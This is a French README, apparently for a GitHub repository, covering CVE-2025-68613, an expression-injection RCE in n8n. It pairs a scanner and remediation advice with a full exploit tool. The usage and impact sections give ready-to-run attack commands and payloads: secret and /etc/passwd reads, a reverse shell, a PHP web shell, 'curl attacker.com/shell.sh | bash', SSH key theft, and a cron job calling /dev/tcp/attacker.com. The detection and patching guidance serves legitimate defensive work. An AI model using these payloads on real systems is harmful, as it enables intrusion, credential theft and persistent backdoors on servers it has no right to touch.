
PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation.

CVE-2025-68613 est une vulnérabilité critique d'exécution de code à distance (RCE) découverte dans n8n, une plateforme open-source populaire d'automatisation de flux de travail. Cette vulnérabilité permet à des utilisateurs authentifiés d'exécuter du code arbitraire sur le serveur, ce qui peut mener à un compromis complet du système.
n8n est une plateforme open-source d'automatisation de flux de travail qui permet aux utilisateurs de :
Les organisations utilisent n8n pour :
Ce rôle central dans l'infrastructure informatique rend les vulnérabilités particulièrement dangereuses, car elles peuvent donner aux attaquants un accès à des réseaux entiers et à des données sensibles.
Ce dépôt comprend des outils prêts à l'emploi pour la détection de vulnérabilités et les tests d'exploitation :
cve-2025-68613-scanner.pyObjectif : Détection sûre et sans exploitation des instances n8n vulnérables
Fonctionnalités :
Utilisation :```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Sortie**:
- Code de sortie 0: Non vulnérable
- Code de sortie 1: Version indéterminée (peut être corrigée ou masquée)
- Code de sortie 2: Version vulnérable détectée
### 2. Modèle Nuclei: `CVE-2025-68613.yaml`
**Objectif**: Détection automatisée de vulnérabilités et test de base de l'évaluation d'expressions
**Fonctionnalités**:
- Nécessite un jeton d'authentification valide
- Teste la capacité d'injection d'expressions
- Tente de lire le contexte global de Node.js (process.platform)
- Crée des workflows de test pour valider le vecteur RCE
- Classification de gravité critique CVSS 10.0
**Utilisation**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyObjectif : Exploit de preuve de concept complet avec plusieurs payloads d'attaque
Fonctionnalités :
Prérequis :
Installation :```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Exemples d'utilisation**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Comment ça fonctionne :
this.constructor.constructor()process.platform ou d'autres API Node.jsCodes de sortie :
En termes simples : n8n permet aux utilisateurs d'écrire des expressions dans les workflows pour traiter les données de manière dynamique. Cependant, ces expressions sont évaluées sans véritable bac à sable, ce qui permet aux attaquants de sortir du contexte d'exécution prévu et d'exécuter du code arbitraire sur le serveur.
Lorsque vous créez un workflow dans n8n, vous pouvez utiliser des « expressions » pour manipuler les données. Ces expressions sont censées s'exécuter dans un environnement restreint. Cependant, la vulnérabilité montre que ces expressions peuvent accéder au système sous-jacent, permettant à un attaquant de :
Lorsqu'un utilisateur crée un workflow dans n8n, il peut utiliser des expressions pour traiter les données :``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### Étape 2 : Injection d'expression
Un attaquant crée une expression malveillante qui échappe à la sandbox prévue :```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
L'expression est évaluée sans isolation appropriée, permettant à l'attaquant de :
La vulnérabilité découle d'un sandboxing insuffisant dans le moteur d'évaluation des expressions. L'équipe n8n évalue les expressions dans un contexte qui :
require() ou à des fonctions de chargement de modules similairesUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## Versions concernées
### Plage vulnérable
Toutes les versions de n8n à partir de la **0.211.0** jusqu'aux versions suivantes sont vulnérables :
- `0.211.0` → `1.120.3`
- `1.121.0`
### Versions corrigées
La vulnérabilité a été corrigée dans :
- ✅ `1.120.4` et versions ultérieures de la branche 1.120.x
- ✅ `1.121.1` et versions ultérieures de la branche 1.121.x
- ✅ `1.122.0` et toutes les versions plus récentes
### Comment vérifier votre version```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run renvoie une erreur HTTP 500 dans v1.121.0
L'exploit est conçu pour fonctionner contre la plage vulnérable documentée dans NVD :
Si vous testez des versions en dehors de cette plage, le succès n'est pas garanti.
Une fois qu'un utilisateur authentifié (ou un attaquant disposant d'identifiants valides) exploite cette vulnérabilité, il peut :
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. Lire des fichiers depuis le serveur```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. Écrire des fichiers malveillants```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. Établir la persistance```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
Scénario réel : entreprise utilisant n8n
Entreprise manufacturière
Services financiers
Organisme de santé
Script de détection sûr, sans exploitation (inclus dans le dépôt d'origine) :```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**Exemples de sortie**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Analyse automatisée avec Nuclei :```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**Comment ça fonctionne** :
1. Envoie des requêtes HTTP vers les chemins n8n courants
2. Extrait les métadonnées de version depuis le HTML/les en-têtes
3. Décode la configuration encodée en base64 si présente
4. Compare la version aux plages vulnérables
5. Signale si l'instance est vulnérable
### Méthode 3 : Capture manuelle de bannière```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### Indicateurs d'exploitation (IOC)
**Signes dans les journaux**:
- Évaluations d'expressions inhabituelles dans les journaux de workflow
- Erreurs d'expression contenant des commandes système
- Accès à des fichiers sensibles (par exemple, références à /etc/passwd)
- Lancement inattendu de processus à partir du processus n8n
**Signes système**:
- Création de nouveaux comptes utilisateur sur le serveur
- Clés SSH inattendues dans authorized_keys
- Nouvelles tâches cron ou tâches planifiées
- Modifications de fichiers système
- Connexions reverse shell depuis le serveur n8n
---
## Remédiation et atténuation
### SOLUTION PRINCIPALE: Mise à niveau immédiate
**Il s'agit de la seule correction complète de la vulnérabilité.**
#### Étape 1: Sauvegardez vos données```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Avec Docker (Recommandé) :```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**Utilisation de npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
Utilisation du gestionnaire de paquets système:```bash
sudo apt update && sudo apt upgrade n8n
#### Étape 3 : Vérifier la mise à jour```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
Important : Ces mesures ne corrigent PAS la vulnérabilité. Utilisez-les uniquement comme mesures temporaires pendant que vous planifiez les mises à niveau.
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. Surveiller les modifications de workflow```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. Exécuter n8n avec des privilèges minimaux```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. Conteneurisation & Isolation```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## Matrice d'évaluation des risques
| Scénario | Niveau de risque | Probabilité | Impact | Priorité |
|----------|-----------|-----------|--------|----------|
| n8n non corrigé, exposé à Internet | CRITIQUE | ÉLEVÉE | Compromission totale | 🔴 URGENT |
| n8n non corrigé, interne uniquement | ÉLEVÉ | MOYENNE | Risque de menace interne | 🟠 ÉLEVÉ |
| n8n corrigé | FAIBLE | FAIBLE | N/A | ✅ Résolu |
| Non corrigé + restrictions de permissions | MOYEN | MOYENNE | Limité aux utilisateurs de confiance | 🟡 MOYEN |
---
## Récupération étape par étape en cas de compromission
### Actions immédiates (première heure)
1. **Isoler le système** : déconnecter du réseau
2. **Arrêter le service** : `sudo systemctl stop n8n`
3. **Conserver les journaux** : sauvegarder tous les journaux avant tout effacement
4. **Alerter l'équipe** : informer l'équipe de sécurité et la direction
5. **Évaluer la portée** : déterminer à quelles données n8n a accédé
### Investigation (premier jour)
1. **Examiner les journaux d'audit** : rechercher des activités suspectes
2. **Analyser le trafic réseau** : rechercher une exfiltration de données
3. **Vérifier les modifications de fichiers** : détecter les portes dérobées installées
4. **Examiner les comptes utilisateurs** : rechercher des comptes nouveaux ou modifiés
5. **Audit des identifiants** : réinitialiser toutes les clés API et tous les mots de passe utilisés par n8n
### Remédiation (jours 2 à 7)
1. **Reconstruction complète du système** : ne pas simplement mettre à jour, reconstruire à partir d'une image propre
2. **Rotation des identifiants** : réinitialiser tous les mots de passe, clés API, jetons
3. **Tout corriger** : mettre à jour tous les systèmes connectés
4. **Restaurer à partir d'une sauvegarde** : utiliser des sauvegardes propres antérieures à la compromission
5. **Audit de sécurité** : mener une évaluation complète de la sécurité
### Post-incident (semaine 2 et au-delà)
1. **Mettre en place une surveillance** : configurer une journalisation et des alertes continues
2. **Modifier les procédures** : mettre à jour les procédures de réponse aux incidents
3. **Formation des utilisateurs** : sensibiliser les équipes aux bonnes pratiques de sécurité
4. **Analyse des vulnérabilités** : analyses régulières pour détecter des problèmes similaires
5. **Examen de conformité** : s'assurer que toutes les réglementations sont respectées (RGPD, HIPAA, etc.)
---
## Prévention à l'avenir
### Bonnes pratiques de sécurité pour n8n
1. **Maintenir n8n à jour**
- Activer les mises à jour automatiques si disponibles
- S'abonner aux avis de sécurité n8n
- Tester les correctifs en préproduction avant la production
2. **Contrôle d'accès**
- Appliquer le principe du moindre privilège
- Exiger des mots de passe forts et la 2FA
- Mettre en place le SSO pour les déploiements en entreprise
- Examens et audits réguliers des accès
3. **Gestion des workflows**
- Examiner tous les workflows pour détecter une logique suspecte
- Mettre en place un processus de revue de code pour les workflows
- Utiliser des conventions de nommage pour identifier les workflows critiques
- Sauvegarder régulièrement les workflows
4. **Gestion des identifiants**
- Ne jamais stocker d'identifiants dans les workflows
- Utiliser des variables d'environnement pour les données sensibles
- Renouveler régulièrement les identifiants
- Auditer l'accès aux identifiants
5. **Surveillance et journalisation**
- Activer une journalisation d'audit complète
- Surveiller les activités inhabituelles
- Configurer des alertes pour les opérations suspectes
- Examen et analyse réguliers des journaux
6. **Sécurité réseau**
- Exécuter n8n dans des segments réseau isolés
- Restreindre l'accès réseau aux seuls services requis
- Utiliser un VPN/pare-feu pour l'accès à distance
- Surveiller le trafic réseau pour détecter les anomalies
7. **Réponse aux incidents**
- Créer un plan de réponse aux incidents
- Définir les procédures d'escalade
- Mener des exercices de sécurité réguliers
- Maintenir des listes de contacts à jour
---
## Dépannage
### Problème : "Exit code 1: Authentication or exploitation failed"
**Causes courantes** :
1. **Identifiants incorrects** (le plus courant)
- Solution : vérifier d'abord que les identifiants fonctionnent pour la connexion à l'interface web
- Essayer : `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **L'utilisateur n'a pas les permissions de création de workflows**
- Solution : utiliser un compte admin ou un compte utilisateur disposant des droits de création de workflows
- Vérifier : panneau d'administration → Utilisateurs et permissions
3. **La version est corrigée** (version > 1.121.0)
- Solution : utiliser le scanner pour vérifier la version d'abord : `python3 cve-2025-68613-scanner.py -u http://target:5678`
- Attendu : le scanner doit indiquer "Vulnerable" (code de sortie 2)
4. **La structure de l'API a changé** (les versions plus anciennes/plus récentes peuvent différer)
- Solution : consulter l'avis NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Le plus probable si vous testez des versions en dehors de la plage documentée
5. **Blocage réseau/pare-feu**
- Solution : vérifier la connectivité : `curl http://target:5678/`
- Vérifier : règles du pare-feu, paramètres de proxy, certificats SSL
### Problème : le scanner signale des faux positifs (détection d'une version incorrecte)
**Corrigé dans v1.02** : le scanner utilise désormais la configuration Sentry décodée en base64 à partir des balises meta au lieu d'une simple regex. Cela élimine les faux positifs où la version de Node.js était détectée comme la version de n8n.
**Ce qui a changé** :
- Source principale : extraire et décoder `<meta name="n8n:config:sentry" content="[BASE64]">`
- Solution de secours : la regex n'est utilisée que si la configuration Sentry est indisponible
- Résultat : détection précise de la version sans faux positifs
**Pour utiliser le scanner v1.02** :```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
Ce n'est PAS un bug de l'exploit - c'est une limitation de l'API.
Explication:
/rest/workflows/{id}/run renvoie HTTP 500 dans n8n v1.121.0Solution de contournement:
Preuve: Flag capturé sur TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 est une vulnérabilité critique qui nécessite une action immédiate. La combinaison de:
...fait de celle-ci l'une des vulnérabilités les plus dangereuses des plateformes d'automatisation de workflows.
La solution simple: mettez à niveau vers une version corrigée immédiatement. Il n'y a aucune excuse pour rester vulnérable à un RCE critique lorsque des correctifs sont disponibles.
|- Version: 1.02 |- Date de création: December 18, 2025 |- Dernière mise à jour: December 26, 2025
Ce document est fourni uniquement à des fins éducatives et d'évaluation de sécurité autorisée. L'accès non autorisé aux systèmes informatiques est illégal. Assurez-vous toujours d'avoir une autorisation appropriée avant de tester, d'évaluer ou d'accéder à des systèmes dont vous n'êtes pas propriétaire.
⚠️ RAPPEL: Mettez à jour vos instances n8n immédiatement si vous exécutez des versions vulnérables.